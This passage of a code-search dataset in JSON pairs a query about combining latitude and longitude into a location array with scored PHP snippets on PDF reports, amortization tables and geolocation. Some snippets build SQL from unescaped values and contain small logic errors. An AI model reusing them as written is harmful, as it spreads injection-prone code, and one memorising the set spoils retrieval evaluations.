$totalMontoCuotaFinan;\n// $tablaAmortiz.='<tr><td>' . $i . '</td><td style=\"text-align:center;\">' . number_format($saldo, 2, ',', '.') . '</td><td style=\"text-align:center;\">' . number_format($amortizacion, 2, ',', '.') . '</td><td style=\"text-align:center;\">' . number_format($intereses, 2, ',', '.') . '</td>'\n// . '<td style=\"text-align:center;\">' . number_format($primaFondoGa, 2, ',', '.') . '</td><td style=\"text-align:center;\">' . number_format($cuotamen, 2, ',', '.') . '</td><td style=\"text-align:center;\">' . $nuevafecha . '</td></tr>';\n $montocredito = $saldoAnt; // saldo deudor\n }//fin del for\n// $tablaAmortiz.='</table>';\n// $htmlprincipal.=\"<table align='right' width='100%' border='0'> \n// <tr>\n// <td colspan='2' align='center'><b><font size='5'>RESUMEN DEL PRESTAMO AL FINAL DE \" . $analisis->nro_cuotas . \" MESES</br></br></font><font size='6'> </font>\n// </td>\n// <br/>\n// </tr>\t\t\n// <tr style='background:#E5E2E2'>\n// <td colspan='1'><b>Total Capital (Bs.):</b></td><td colspan='1'>\" . number_format($analisis->monto_credito, 2, ',', '.') . \"</td>\n// </tr>\n// <tr>\n// <td colspan='1'><b>Total Interes (Bs.):</b></td><td colspan='1'>\" . number_format($totalInteres, 2, ',', '.') . \"</td>\n// </tr>\n// <tr style='background:#E5E2E2'>\n// <td colspan='1'><b>Total Cuota Financiera (Bs.):</b></td><td colspan='1'>\" . number_format($totalMontoCuotaFinan, 2, ',', '.') . \"</td>\n// </tr>\n// <tr>\n// <td colspan='1'><b>Total Cuota FONDO DE GARANTÍA (Bs.):</b></td><td colspan='1'>\" . number_format($totalCuotaFongar, 2, ',', '.') . \"</td>\n// </tr>\n// <tr style='background:#E5E2E2'>\n// <td colspan='1'><b>TOTAL A CANCELAR (Bs.):</b></td><td colspan='1'>\" . number_format($totalCancelar, 2, ',', '.') . \"</td>\n// </tr>\n// </table> <br/><br/><br/><br/><br/><br/><br/><br/>\";\n }\n\n $updateBene = Beneficiario::model()->updateByPk($beneficiario->id_beneficiario, array(\n 'estatus_beneficiario_id' => 271,\n 'usuario_id_actualizacion' => Yii::app()->user->id,\n 'fecha_actualizacion' => 'now()'\n ));\n $updateBeneTemp = BeneficiarioTemporal::model()->updateByPk($beneficiario->beneficiario_temporal_id, array(\n 'estatus' => 272,\n 'usuario_id_actualizacion' => Yii::app()->user->id,\n 'fecha_actualizacion' => 'now()'\n ));\n\n $this->render('tablaAmortizacionpdf', array(\n 'model' => $credito, 'totalInteres' => $totalInteres, 'totalCuotaFongar' => $totalCuotaFongar, 'analicredito' => $analicredito,\n 'totalMontoCuotaFinan' => $totalMontoCuotaFinan, 'totalCancelar' => $totalCancelar, 'htmlprincipal' => $htmlprincipal\n ));\n }", "title": "" }, { "docid": "3d17f51b0a2428ba560d41bbd3378d51", "score": "0.68368787", "text": "public function getPdf(){\r\n function diferencia($entero){\r\n $hora = (int)($entero/3600);\r\n $minutos = (int)($entero/60);\r\n $segundos = ($entero%3600)%60;\r\n return $minutos.\"Min\";\r\n }\r\n $mes = explode('/', Input::get('fecha'))[0];\r\n $anio = explode('/', Input::get('fecha'))[1];\r\n\r\n switch ($mes) {\r\n case '1':\r\n case '3':\r\n case '5':\r\n case '7':\r\n case '8':\r\n case '10':\r\n case '12':\r\n $dias = 31;\r\n break;\r\n\r\n case '4':\r\n case '6':\r\n case '9':\r\n case '11':\r\n $dias = 30;\r\n break;\r\n\r\n case '2':\r\n $dias = 29;\r\n break;\r\n \r\n default:\r\n break;\r\n }\r\n\r\n $empresa = Empresa::find(Input::get('empresa_ruc'));\r\n $asistencias = Asistencia::where('fecha', '>=', $anio.'-'.$mes.'-01')\r\n ->where('fecha', '<=', $anio.'-'.$mes.'-'.$dias)->get();\r\n\r\n $html = \"<!DOCTYPE html>\r\n <html>\r\n <head>\r\n <meta http-equiv='Content-Type' content='text/html; charset=ISO-8859-1'>\r\n <meta http-equiv='X-UA-Compatible' content='IE=edge'>\r\n <title> REPORTE DE ASISTENCIA \".Input::get('fecha').\"</title>\r\n <meta content='width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no' \r\n name='viewport'>\r\n </head>\r\n <body>\r\n <style type='text/css'>\r\n h1{\r\n font-size: 12pt;\r\n font-family: Cambria, Georgia, serif;\r\n }\r\n h2{\r\n font-size: 11pt;\r\n font-family: Cambria, Georgia, serif;\r\n }\r\n h3{\r\n font-size: 10pt;\r\n font-family: Cambria, Georgia, serif;\r\n }\r\n @page{\r\n margin-top: 1cm;\r\n margin-left: 1cm;\r\n margin-right: 1cm;\r\n margin-bottom: 1cm;\r\n }\r\n .borde-tabla {\r\n width: 100%;\r\n border-collapse: collapse;\r\n border: 1px solid #000000;\r\n }\r\n th, td {\r\n font-size: 8pt;\r\n font-family: Cambria, Georgia, serif;\r\n text-align: left;\r\n border: 1px solid #000000;\r\n }\r\n </style>\r\n <h1 align='center'>REPORTE DE ASISTENCIA \".Input::get('fecha').\" \".$empresa->nombre.\"</h1>\";\r\n foreach ($empresa->contratos as $contrato) {\r\n $html .= \"<h2>CLIENTE: \".$contrato->cliente->nombre.\"</h2>\";\r\n foreach ($contrato->puntos as $punto) {\r\n $html .= \"<h3>PUNTO DE TRABAJO: \".$punto->nombre.\"</h3>\r\n <table class='borde-tabla'>\r\n <tr>\r\n <th>Trabajador</th>\";\r\n for ($i=1; $i <= $dias; $i++) { \r\n $html .= \"<th>\".$i.\"</th>\";\r\n }\r\n $html .= \"</tr>\";\r\n foreach ($punto->trabajadores as $trabajador) {\r\n $html .= \"<tr>\r\n <td>\".$trabajador->persona->nombre.\" \".$trabajador->persona->apellidos.\"</td>\";\r\n for ($i=1; $i <= $dias; $i++) { \r\n $html .= \"<td>\"; \r\n foreach ($asistencias as $asistencia) {\r\n if (date('d', strtotime($asistencia->fecha)) == $i && \r\n $asistencia->punto_id == $punto->id) {\r\n foreach ($asistencia->trabajadores as $registro) {\r\n if ($registro->id == $trabajador->id) {\r\n $entradaLegal = explode(':', Turno::find($asistencia->turno_id)->entrada);\r\n $entradaLegal = $entradaLegal[0]*3600 + $entradaLegal[1]*60 + $entradaLegal[2];\r\n $salidaLegal = explode(':', Turno::find($asistencia->turno_id)->salida);\r\n $salidaLegal = $salidaLegal[0]*3600 + $salidaLegal[1]*60 + $salidaLegal[2];\r\n $entrada = explode(':', $registro->pivot->entrada);\r\n $entrada = $entrada[0]*3600 + $entrada[1]*60 + $entrada[2];\r\n if ($registro->pivot->salida) {\r\n $salida = explode(':', $registro->pivot->salida);\r\n $salida = $salida[0]*3600 + $salida[1]*60 + $salida[2];\r\n }else{\r\n $salida = $entrada;\r\n }\r\n $tardanza = 0;\r\n if ($entrada > $entradaLegal) {\r\n $tardanza += $entrada-$entradaLegal;\r\n }\r\n if ($salida < $salidaLegal) {\r\n $tardanza += $salidaLegal-$salida;\r\n }\r\n $html .= $registro->pivot->entrada.\"<br>\".$registro->pivot->salida.\r\n \"<br>\".diferencia($tardanza);\r\n }\r\n }\r\n break;\r\n }\r\n }\r\n $html .= \"</td>\";\r\n }\r\n $html .= \"</tr>\";\r\n }\r\n $html .= \"</table><br>\";\r\n }\r\n }\r\n\r\n $html .= \"\r\n </body>\r\n </html>\";\r\n\r\n $pdf = PDF::loadHtml($html);\r\n \r\n return $pdf->setPaper('a4')->setOrientation('landscape')\r\n ->download(\"REPORTE DE ASISTENCIA \"\r\n .Input::get('fecha').\" \".$empresa->nombre.\".pdf\");\r\n }", "title": "" }, { "docid": "4f557d01ec64e7c89b71d473c8c8df47", "score": "0.6836202", "text": "public function psikolog_pdf(Request $request)\n {\n $data = Jadwal::leftjoin('layanan','jadwal.layanan_id','=','layanan.id')\n ->leftjoin('status','jadwal.status_id','=','status.id')\n ->leftjoin('ruangan','jadwal.ruangan_id','=','ruangan.id')\n ->leftjoin('sesi','jadwal.sesi_id','=','sesi.id')\n ->leftjoin('klien','jadwal.klien_id','=','klien.id')\n ->leftjoin('psikolog','jadwal.psikolog_id','=','psikolog.id')\n ->leftjoin('users','psikolog.user_id','=','users.id')\n ->where('users.id',$request->psikolog)\n ->where('jadwal.tanggal','>=', $request->from = Carbon::parse($request->from))\n ->where('jadwal.tanggal','<=', $request->until = Carbon::parse($request->until))\n ->where(function($query){\n $query->where('status.nama','=','Terjadwal')\n ->orWhere('status.nama','=','Selesai');\n })\n // ->with(['klien', 'layanan', 'tes', 'status', 'ruangan', 'sesi'])\n ->select('jadwal.*')\n ->orderBy('tanggal','desc')\n ->orderBy('users.name')\n ->get();\n $psikolog = User::where('id',$request->psikolog)->first();\n $pdf = PDF::loadView('pdf.report_perpsikolog_pdf', compact('data','request','psikolog'))->setPaper('a4', 'landscape');\n // If you want to store the generated pdf to the server then you can use the store function\n $pdf->save(storage_path().'_filename.pdf');\n // Finally, you can download the file using download function\n return $pdf->download('Rekap_perpsikolog.pdf');\n }", "title": "" } ]
d16affb2466aa2a351354911ae8ab4d2
Checks if a spot has a location attribute and if not, combines lat and lng attributes to make sure the location array always follows the same pattern
[ { "docid": "927b56c7d599784d0d66ea506680ca6c", "score": "0.5933466", "text": "private function getLocation($spot) {\n if($spot->loc) {\n $location = $spot->loc;\n } else {\n $location = [(float)$spot->lng, (float)$spot->lat];\n }\n return $location;\n }", "title": "" } ]
[ { "docid": "6c13955ebccd528806a666b4c43381df", "score": "0.6087565", "text": "private function updateGeoCoords()\n\t{\n\t\t// $this->attributes contains payload of the session\n\t\t// $this->handler->get_table_row() contains extended Row's field like IP and Platform\n\t\t$row = $this->handler->get_table_row();\n\t\t$current_ip = PlatformDetector::getClientIp();\n\n\t\t// define the flag for new re-detection\n\t\t// if no coordinates is set\n\t\t$should_recheck_coords = !isset($this->attributes['geo_coords']);\n\t\t// or if IP address was changed\n\t\t$should_recheck_coords |= $row && $row['ip_address'] != $current_ip;\n\n\t\tif ($should_recheck_coords) {\n\t\t\t//Log::info('Recheck GEO coords for session');\n\t\t\t// we need to update geo coordinates\n\t\t\t$coords = GeoIPLib::get_lat_lon($current_ip);\n\t\t\t$this->attributes['geo_coords'] = [\n\t\t\t\t'latitude' => $coords[0],\n\t\t\t\t'longitude' => $coords[1],\n\t\t\t];\n\t\t}\n\n\t}", "title": "" }, { "docid": "4ebcfff1fc88a3a0da48a6145a6c6a24", "score": "0.5971617", "text": "public function find_spots_lat_long() {\n\t\t$spots = get_posts(array('post_type' => 'spot', 'posts_per_page' => -1));\n\n\t\tforeach ($spots as $spot) {\n\t\t\t$address = get_post_meta($spot->ID, 'address', true);\n\n\t\t\tif (!$address) {\n\t\t\t\tWP_CLI::line( 'No address found for ' . $spot->ID . ' ' . $spot->post_title);\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\t$latitude = get_post_meta($spot->ID, 'latitude', true);\n\t\t\t$longitude = get_post_meta($spot->ID, 'longitude', true);\n\n\t\t\tif ($latitude && $longitude) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\t$result_string = file_get_contents('http://restapi.amap.com/v3/geocode/geo?key=' . constant('AMAP_KEY') . '&address=' . urlencode('嘉定区' . $address) . '&city=' . urlencode('上海'));\n\t\t\t$result = json_decode($result_string);\n\n\t\t\tif (count($result->geocodes) > 1) {\n\t\t\t\tWP_CLI::line( 'Multiple results found for ' . $spot->ID . ' ' . $spot->post_title);\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tif (count($result->geocodes) === 0) {\n\t\t\t\tWP_CLI::line( 'No results found for ' . $spot->ID . ' ' . $spot->post_title);\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\t$location = $result->geocodes[0]->location;\n\n\t\t\t$latitude = explode(',', $location)[1];\n\t\t\t$longitude = explode(',', $location)[0];\n\n\t\t\tupdate_post_meta($spot->ID, 'latitude', $latitude);\n\t\t\tupdate_post_meta($spot->ID, 'longitude', $longitude);\n\n\t\t\tWP_CLI::line( 'Location saved ' . $latitude . ',' . $longitude . ' ' . $spot->ID . ' ' . $spot->post_title . '.');\n\t\t}\n\t}", "title": "" }, { "docid": "161795224cdb3f47b4f649dd251e8cd1", "score": "0.58057225", "text": "function calculate_coords() {\n if (!empty($this->value['latitude']) && !empty($this->value['longitude'])) {\n // If there are already coordinates, there's no work for us.\n return TRUE;\n }\n // @@@ Switch to mock location object and rely on location more?\n\n if ($this->options['type'] == 'postal' || $this->options['type'] == 'postal_default') {\n // Force default for country.\n if ($this->options['type'] == 'postal_default') {\n $this->value['country'] = variable_get('site_default_country', 'us');\n }\n\n // Zip code lookup.\n if (!empty($this->value['postal_code']) && !empty($this->value['country'])) {\n $coord = location_latlon_rough($this->value);\n if ($coord) {\n $this->value['latitude'] = $coord['lat'];\n $this->value['longitude'] = $coord['lon'];\n }\n else {\n return false;\n }\n }\n else {\n // @@@ Implement full address lookup?\n return false;\n }\n }\n if (empty($this->value['latitude']) || empty($this->value['longitude'])) {\n return false;\n }\n return true;\n }", "title": "" }, { "docid": "e2a51cde85e78c2cb91bdc514ca000cd", "score": "0.5697982", "text": "function amap_ma_save_object_coords($location, $object, $pluginname, $lat_g = '', $lng_g = '') {\n if ($lat_g && $lng_g) {\n $lat = $lat_g;\n $lng = $lng_g;\n } else if ($location) {\n $prefix = elgg_get_config('dbprefix');\n $coords = amap_ma_geocode_location($location);\n\n if ($coords) {\n $lat = $coords['lat'];\n $lng = $coords['long'];\n }\n }\n\n if ($lat && $lng) {\n $prefix = elgg_get_config('dbprefix');\n $object->setLatLong($lat, $lng);\n $query = \"INSERT INTO {$prefix}entity_geometry (entity_guid, geometry)\n VALUES ({$object->guid}, GeomFromText('POINT({$lat} {$lng})'))\n ON DUPLICATE KEY UPDATE geometry=GeomFromText('POINT({$lat} {$lng})')\";\n\n insert_data($query);\n\n return true;\n }\n\n return false;\n}", "title": "" }, { "docid": "8edeee6fba0bbebfccf84c5b6116368c", "score": "0.56395966", "text": "public function prepareListingLocationData()\n {\n foreach ($GLOBALS['listing'] as $group) {\n foreach ($group['Fields'] as $field) {\n if (isset($this->geo_filter_data['location_listing_fields'][$field['Key']])) {\n $this->listing_location_data[] = $field['value'];\n }\n }\n }\n }", "title": "" }, { "docid": "69b92c046024c199811f331125165b85", "score": "0.54385257", "text": "public function getLocation()\n {\n if (array_key_exists('location', $this->userInfo)) {\n return $this->userInfo['location'];\n }\n\n elseif (isset($this->response['placesLived']) && is_array($this->response['placesLived']))\n {\n foreach ($this->response['placesLived'] as $location)\n {\n if (isset($location['primary']) && $location['primary'] == 1)\n {\n if (isset($location['value']))\n {\n $loc = preg_replace('/[\\x03-\\x20]{2,}/sxSX', ' ', $location['value']);\n $glue = ',';\n\n if (strpos($location, $glue) === false) {\n $glue = ' ';\n }\n $loc = explode($glue, $loc);\n\n if(count($loc) <= 3) {\n $this->userInfo['city'] = trim($loc[0]);\n $this->userInfo['country'] = isset($loc[1]) ? isset($loc[2]) ? trim($loc[2]) : trim($loc[1]) : null;\n }\n else{\n $this->userInfo['city'] = null;\n $this->userInfo['country'] = null;\n }\n\n return $this->userInfo['location'] = $location['value'];\n }\n break;\n }\n }\n }\n\n $this->userInfo['city'] = null;\n $this->userInfo['country'] = null;\n\n return $this->userInfo['location'] = null;\n }", "title": "" }, { "docid": "e387331c7aa722a25b8b8a16fcee6d1e", "score": "0.53874785", "text": "public function prepareLocationFields()\n {\n global $rlDb;\n\n if (!$this->geo_format) {\n return;\n }\n\n $listing_fields = $rlDb->fetch(\n array('Key'),\n array(\n 'Condition' => $this->geo_format['Key'],\n 'Status' => 'active',\n ),\n \"AND `Key` NOT LIKE 'citizenship%' ORDER BY `Key`\",\n null,\n 'listing_fields'\n );\n\n if ($listing_fields) {\n foreach ($listing_fields as $k => $field) {\n if ($value = $this->geo_filter_data['location_keys'][$k]) {\n $this->geo_filter_data['location_listing_fields'][$field['Key']] = $value;\n } else {\n $this->geo_filter_data['location_listing_fields'][$field['Key']] = '';\n }\n }\n }\n\n $account_fields = $rlDb->fetch(\n array('Key'),\n array(\n 'Condition' => $this->geo_format['Key'],\n 'Status' => 'active',\n ),\n \"AND `Key` NOT LIKE 'citizenship%' ORDER BY `Key`\",\n null,\n 'account_fields'\n );\n\n if ($account_fields) {\n foreach ($account_fields as $k => $field) {\n if ($value = $this->geo_filter_data['location_keys'][$k]) {\n $this->geo_filter_data['location_account_fields'][$field['Key']] = $value;\n } else {\n $this->geo_filter_data['location_account_fields'][$field['Key']] = '';\n }\n }\n }\n }", "title": "" }, { "docid": "225c2fdca6b0e81071125d311b0d193c", "score": "0.532562", "text": "public function hasLongitude(): bool;", "title": "" }, { "docid": "f2d5eb2741a8ee23f78f419bb6ee1699", "score": "0.530791", "text": "function update_location($locationinfo){\n\t\t$updateableints=array(\"hidden\",\"standalone\",\"ts\",\"tsorder\");\n\t\t$updateabledecimals=array(\"lat\",\"lng\",\"bearing\",\"speed\",\"altitude\",\"accuracy\");\n\t\t$updateablestrings=array(\"tripname\");\n\t\t$locationid=$locationinfo[\"locationid\"];\n\n\t\tforeach($updateableints as $colname){\n\t\t\tif(!array_key_exists($colname,$locationinfo))continue;\t\n\t\t\t$this->update_single_field($locationid,\"i\",$colname,$locationinfo[$colname]);\n\t\t}\n\t\t\n\t\tforeach($updateabledecimals as $colname){\n\t\t\tif(!array_key_exists($colname,$locationinfo))continue;\t\n\t\t\t$this->update_single_field($locationid, \"d\",$colname,$locationinfo[$colname]);\n\t\t}\n\t\t\n\t\tforeach($updateablestrings as $colname){\n\t\t\tif(!array_key_exists($colname,$locationinfo))continue;\t\n\t\t\t$this->update_single_field($locationid,\"s\",$colname,$locationinfo[$colname]);\n\t\t}\n\t}", "title": "" }, { "docid": "d584e16907a6798ba6b02f8d12352fcc", "score": "0.5214698", "text": "function getlocationcoords($lat, $lon, $width, $height)\n{\n\t$x = (($lon + 180) * ($width / 360));\n\t$y = ((($lat * -1) + 90) * ($height / 180));\n\treturn array(\"x\"=>round($x),\"y\"=>round($y));\n}", "title": "" }, { "docid": "7c2089617ab78e85db36f4825fed80d4", "score": "0.52029634", "text": "function _location($rec){\n\t\treturn array(\n\t\t\t'id' => $rec['zip'],\n\t\t\t'city' => $rec['city'],\n\t\t\t'geolocation' => sprintf('%s,%s',trim($rec['latitude']),trim($rec['longitude'])),\n\t\t\t'latitude' => $rec['latitude'],\n\t\t\t'longitude' => $rec['longitude'],\n\t\t\t'postal' => $rec['zip'],\n\t\t\t'state' => $rec['state'],\n\t\t\t'county' => $rec['county'],\n\t\t\t'country' => $rec['country'],\n\t\t);\n\t}", "title": "" }, { "docid": "fb913ce96f4cd1b62f8b50317b64cc94", "score": "0.52025133", "text": "function geofield_return_latlon($data, array $options, $name) {\n if ((is_array($data) || (is_object($data) && $data instanceof ArrayAccess)) && !is_null($data['lat']) && !is_null($data['lon'])) {\n return $data['lat'] . ',' . $data['lon'];\n }\n return NULL;\n}", "title": "" }, { "docid": "fc556a737345eea3c12a021d1ce9c5b5", "score": "0.5199682", "text": "function get_coordinates($object, $field_name, $request) {\n\tglobal $wpdb;\n\t$location = $wpdb->get_row('SELECT wp_geo_mashup_locations.lat, wp_geo_mashup_locations.lng FROM wp_geo_mashup_locations INNER JOIN wp_geo_mashup_location_relationships ON wp_geo_mashup_locations.id = wp_geo_mashup_location_relationships.location_id\nWHERE wp_geo_mashup_location_relationships.object_id = ' . $object[\"id\"]);\n\tif ($location) {\n\t\treturn $location->lat . \",\" . $location->lng;\n\t} else {\n\t\treturn null;\n\t}\n}", "title": "" }, { "docid": "9a72f653831f8ce8d7f9f415a2994c07", "score": "0.5165526", "text": "private function getLocation() {\n $location = false;\n \t$result = new StdClass();\n \t// $result->location = 'http://www.geoplugin.net/extras/location.gp?lat=' . $this->coordinates->latitude . '&long=' . $this->coordinates->longitude . '&format=php';\n \t$result->nearest = 'http://www.geoplugin.net/extras/location.gp?lat=' . $this->coordinates->latitude . '&long=' . $this->coordinates->longitude . '&format=php';\n \t$result->location = 'http://maps.googleapis.com/maps/api/geocode/json?latlng=' . $this->coordinates->latitude . ',' . $this->coordinates->longitude . '&sensor=false';\n\n \t$result = json_decode($this->getUrlContents($result->location));\n \t// $result->nearest = unserialize($this->getUrlContents($result->nearest));\n\n $location = $this->validateLocation($result);\n\n if(is_array($location))\n \t $location = $this->filterLocation($location);\n }", "title": "" }, { "docid": "2d9658f05c5cc3501ede0cfd20610dc6", "score": "0.5161868", "text": "public function getLatitudeAndLongitude() {\n\t$lat_request = $_REQUEST['latitude'];\n\t$long_request = $_REQUEST['longitude'];\n\tif (empty($lat_request)) {\n\t\techo \"empty latitude &nbsp;&nbsp;\";\n\t}if(empty($long_request)) {\n\t\techo \"empty longitude\";\n\t}\n\tif ($lat_request && $long_request) {\n\t\t$geocodes['latitude'] = $_GET['latitude'];\n\t\t$geocodes['longitude'] = $_GET['longitude'];\n\t\treturn $geocodes;\n\t}\n}", "title": "" }, { "docid": "cdcd57c0864f041aa8fd7ae08d35ceab", "score": "0.5145085", "text": "private static function userLocationFallback(array &$location) {\r\n if (!isset($location['country']) && !isset($location['countryCode']) &&\r\n !isset($location['region']) && !isset($location['regionCode']) &&\r\n !isset($location['city']) && !isset($location['zip']) &&\r\n !isset($location['latitude']) && !isset($location['longitude'])) {\r\n if (function_exists('apache_note')) {\r\n if ($country = apache_note('GEOIP_COUNTRY_NAME')) {\r\n $location['country'] = $country;\r\n }\r\n if ($country_code = apache_note('GEOIP_COUNTRY_CODE')) {\r\n $location['countryCode'] = $country_code;\r\n }\r\n if ($region = apache_note('GEOIP_REGION_NAME')) {\r\n $location['region'] = $region;\r\n }\r\n if ($region_code = apache_note('GEOIP_REGION')) {\r\n $location['regionCode'] = $region_code;\r\n }\r\n if ($city = apache_note('GEOIP_CITY')) {\r\n $location['city'] = $city;\r\n }\r\n if ($zip = apache_note('GEOIP_POSTAL_CODE')) {\r\n $location['zip'] = $zip;\r\n }\r\n if ($latitude = apache_note('GEOIP_LATITUDE')) {\r\n $location['latitude'] = $latitude;\r\n }\r\n if ($longitude = apache_note('GEOIP_LONGITUDE')) {\r\n $location['longitude'] = $longitude;\r\n }\r\n }\r\n else {\r\n if (isset($_SERVER['GEOIP_COUNTRY_NAME'])) {\r\n $location['country'] = $_SERVER['GEOIP_COUNTRY_NAME'];\r\n }\r\n elseif (isset($_SERVER['HTTP_X_GEOIP_COUNTRY'])) {\r\n module_load_include('inc', 'smart_ip', 'includes/smart_ip.country_list');\r\n $countries = country_get_predefined_list();\r\n $location['country'] = $countries[$_SERVER['HTTP_X_GEOIP_COUNTRY']];\r\n }\r\n elseif (isset($_SERVER['HTTP_CF_IPCOUNTRY'])) {\r\n module_load_include('inc', 'smart_ip', 'includes/smart_ip.country_list');\r\n $countries = country_get_predefined_list();\r\n $location['country'] = $countries[$_SERVER['HTTP_CF_IPCOUNTRY']];\r\n }\r\n if (isset($_SERVER['GEOIP_COUNTRY_CODE'])) {\r\n $location['country'] = $_SERVER['GEOIP_COUNTRY_CODE'];\r\n }\r\n elseif (isset($_SERVER['HTTP_X_GEOIP_COUNTRY'])) {\r\n $location['countryCode'] = $_SERVER['HTTP_X_GEOIP_COUNTRY'];\r\n }\r\n elseif (isset($_SERVER['HTTP_CF_IPCOUNTRY'])) {\r\n $location['countryCode'] = $_SERVER['HTTP_CF_IPCOUNTRY'];\r\n }\r\n if (isset($_SERVER['GEOIP_REGION_NAME'])) {\r\n $location['region'] = $_SERVER['GEOIP_REGION_NAME'];\r\n }\r\n if (isset($_SERVER['GEOIP_REGION'])) {\r\n $location['regionCode'] = $_SERVER['GEOIP_REGION'];\r\n }\r\n if (isset($_SERVER['GEOIP_CITY'])) {\r\n $location['city'] = $_SERVER['GEOIP_CITY'];\r\n }\r\n if (isset($_SERVER['GEOIP_POSTAL_CODE'])) {\r\n $location['zip'] = $_SERVER['GEOIP_POSTAL_CODE'];\r\n }\r\n if (isset($_SERVER['GEOIP_LATITUDE'])) {\r\n $location['latitude'] = $_SERVER['GEOIP_LATITUDE'];\r\n }\r\n if (isset($_SERVER['GEOIP_LONGITUDE'])) {\r\n $location['longitude'] = $_SERVER['GEOIP_LONGITUDE'];\r\n }\r\n }\r\n }\r\n }", "title": "" }, { "docid": "20b70516bd42905fb6e8f155872381e5", "score": "0.51372415", "text": "public function fix_gps()\n\t{\n echo 'FIX GPS START'.'<br />';\n \n $data_batch = array();\n $query = $this->db->query(\"SELECT * FROM property;\");\n if ($query->num_rows() > 0)\n {\n foreach ($query->result() as $row)\n {\n if(!empty($row->gps) && empty($row->lat))\n {\n $gps = explode(', ', $row->gps);\n \n if(sw_count($gps)>=2)\n $data_batch[] = array(\n 'id' => $row->id,\n 'lat' => floatval($gps[0]),\n 'lng' => floatval($gps[1])\n );\n }\n }\n }\n \n echo 'FOR UPDATE: '.sw_count($data_batch).'<br />';\n \n if(sw_count($data_batch) > 0)\n $this->db->update_batch('property', $data_batch, 'id'); \n \n echo 'FIX GPS END'.'<br />';\n\t}", "title": "" }, { "docid": "73f51461533bc018938f8b04402ce3e6", "score": "0.51303506", "text": "public function initNobuilding(){\n\t\t$sql = \"SELECT id,concat(longitude,',',latitude) as lonlat FROM ttgy_o2o_region WHERE attr=5\";\n\t\t$res = $this->db->query($sql)->result_array();\n\t\tforeach ($res as $value) {\n\t\t\t$sql = \"update ttgy_o2o_order_extra set lonlat='\".$value['lonlat'].\"' where building_id=\".$value['id'].\" and lonlat is null\";\n\t\t\t$this->db->query($sql);\n\t\t}\n\t}", "title": "" }, { "docid": "0710a1a8bbccc63a901b70d181ceefb8", "score": "0.51210886", "text": "protected function getAdditionalInfo(array $location)\n {\n foreach ($location['customAttributes'] as $attribute) {\n if ($attribute['name'] == 'ADDITIONAL_INFO') {\n return $attribute['value'];\n }\n }\n\n return null;\n }", "title": "" }, { "docid": "c918809e0ec19d48e8c45924fb7eb238", "score": "0.5119419", "text": "function vu_core_get_campus_location_details($campus) {\n $location_details = vu_core_get_location_structure();\n\n if (!isset($campus->type)) {\n return $location_details;\n }\n\n $location = vumain_campus_get_location($campus, FALSE);\n $campus_alias = drupal_get_path_alias('node/' . $campus->nid);\n\n $campus_id = vumain_googlemaps_get_campus_id($campus_alias);\n if ($campus_id == VUMAIN_VU_CAMPUS_CITY_QUEEN) {\n $location_details['lat_long'] = vumain_campus_get_city_queen_locations();\n }\n\n if (!empty($location[0])) {\n $location = reset($location);\n $location_details['locality'] = $location['locality'];\n $location_details['thoroughfare'] = $location['thoroughfare'];\n $location_details['postal_code'] = $location['postal_code'];\n $location_details['administrative_area'] = $location['administrative_area'];\n $location_details['country'] = $location['country'];\n }\n\n $location_details['address'] = vu_core_get_location_address($location_details);\n $location_details['place_name'] = $campus->title . ' Campus';\n\n if (empty($location_details['lat_long']) && !empty($campus_alias)) {\n $details = vumain_campuses_get_lat_long($campus_alias);\n if (!empty($details)) {\n $location_details['lat_long'] = [\n 'lat' => $details['lat'],\n 'long' => $details['long'],\n ];\n }\n }\n\n return $location_details;\n}", "title": "" }, { "docid": "b3a3b188b6a921055604c408509f36d8", "score": "0.5112532", "text": "function amap_ma_get_map_default_location_coords() {\n $map_default_lat = trim(elgg_get_plugin_setting('map_default_lat', AMAP_MA_PLUGIN_ID));\n $map_default_lng = trim(elgg_get_plugin_setting('map_default_lng', AMAP_MA_PLUGIN_ID));\n\n if (empty($map_default_lat) || empty($map_default_lat))\n return AMAP_MA_CUSTOM_DEFAULT_COORDS; // set coords of Europe in case default location is not set\n else\n return $map_default_lat . ',' . $map_default_lng;\n}", "title": "" }, { "docid": "1a4d4216f8e023fbf83bbc92dc025bc3", "score": "0.51051474", "text": "function save_my_location() {\n\n\t$user = $_POST['user_id'];\n\t$latlng = $_POST['latlng'];\n\t$name = $_POST['loc_name'];\n\n\t$locations = get_user_meta( $user, 'mepr_locations', true ) ? json_decode( get_user_meta( $user, 'mepr_locations', true ), true ) : array();\n\n\t// check to see if this location already exists\n\t$new = true;\n\tif( $locations ) {\n\t\tforeach( $locations as $location ) {\n\t\t\tif( $location['latlng'] && $latlng == $location['latlng'] ) {\n\t\t\t\t$new = false;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\n\tif( $new ) {\n\t\t$latlngObject = json_decode( stripslashes($latlng) );\n\t\t$locations[] = array(\n\t\t\t'name' => $name,\n\t\t\t'latlng' => $latlngObject,\n\t\t);\n\t\tupdate_user_meta( $user, 'mepr_locations', json_encode( $locations ) );\n\t}\n}", "title": "" }, { "docid": "5a718cbeb6ec821c6fccbe6f6c22da97", "score": "0.5098932", "text": "function build_location($locations) {\n $location_return = array();\n\n //check to make sure location is ready for parsing\n if (is_array($locations) && !empty($locations)) {\n foreach ($locations as $location) {\n $location_return[] = array($location);\n }\n }\n\n return $location_return;\n }", "title": "" }, { "docid": "69880c559aac824ee915b9c0ebf47537", "score": "0.5098772", "text": "function GetAssetLocationfromId($asset_id,$Totalfields=0){\n\t$row = Asset::where('id',$asset_id)->first();\n $pre_fields = json_decode($row->fields);\n $location = array();\n $answer = \"\";\n if ($pre_fields != null) {\n\t foreach ($pre_fields as $key => $value) {\n\t \t\tif ($value->form_field_type == OPTION_ADDRESS_MAP) {\n\t \t\t\t$answer = $value->answer;\n\t \t\t\tif ($Totalfields == 5) {\n\t \t\t\t\t$location['location'] = $value->answer;\n\t \t\t\t\t$location[\"latitude\"] = $value->latitude;\n\t \t\t\t\t$location[\"longitude\"] = $value->longitude;\n\t \t\t\t\t$location[\"place_id\"] = $value->place_id;\n \t\t\t\t\treturn $location;\n\t \t\t\t}\n\t \t\t\tbreak;\n\t \t\t}else{\n\t \t\t\t\t$answer = \"No location field exist\";\n\t \t\t}\n\t }\n\t}else{\n\t\t$answer = \"No data entered for location\";\n\t}\n return $answer;\n}", "title": "" }, { "docid": 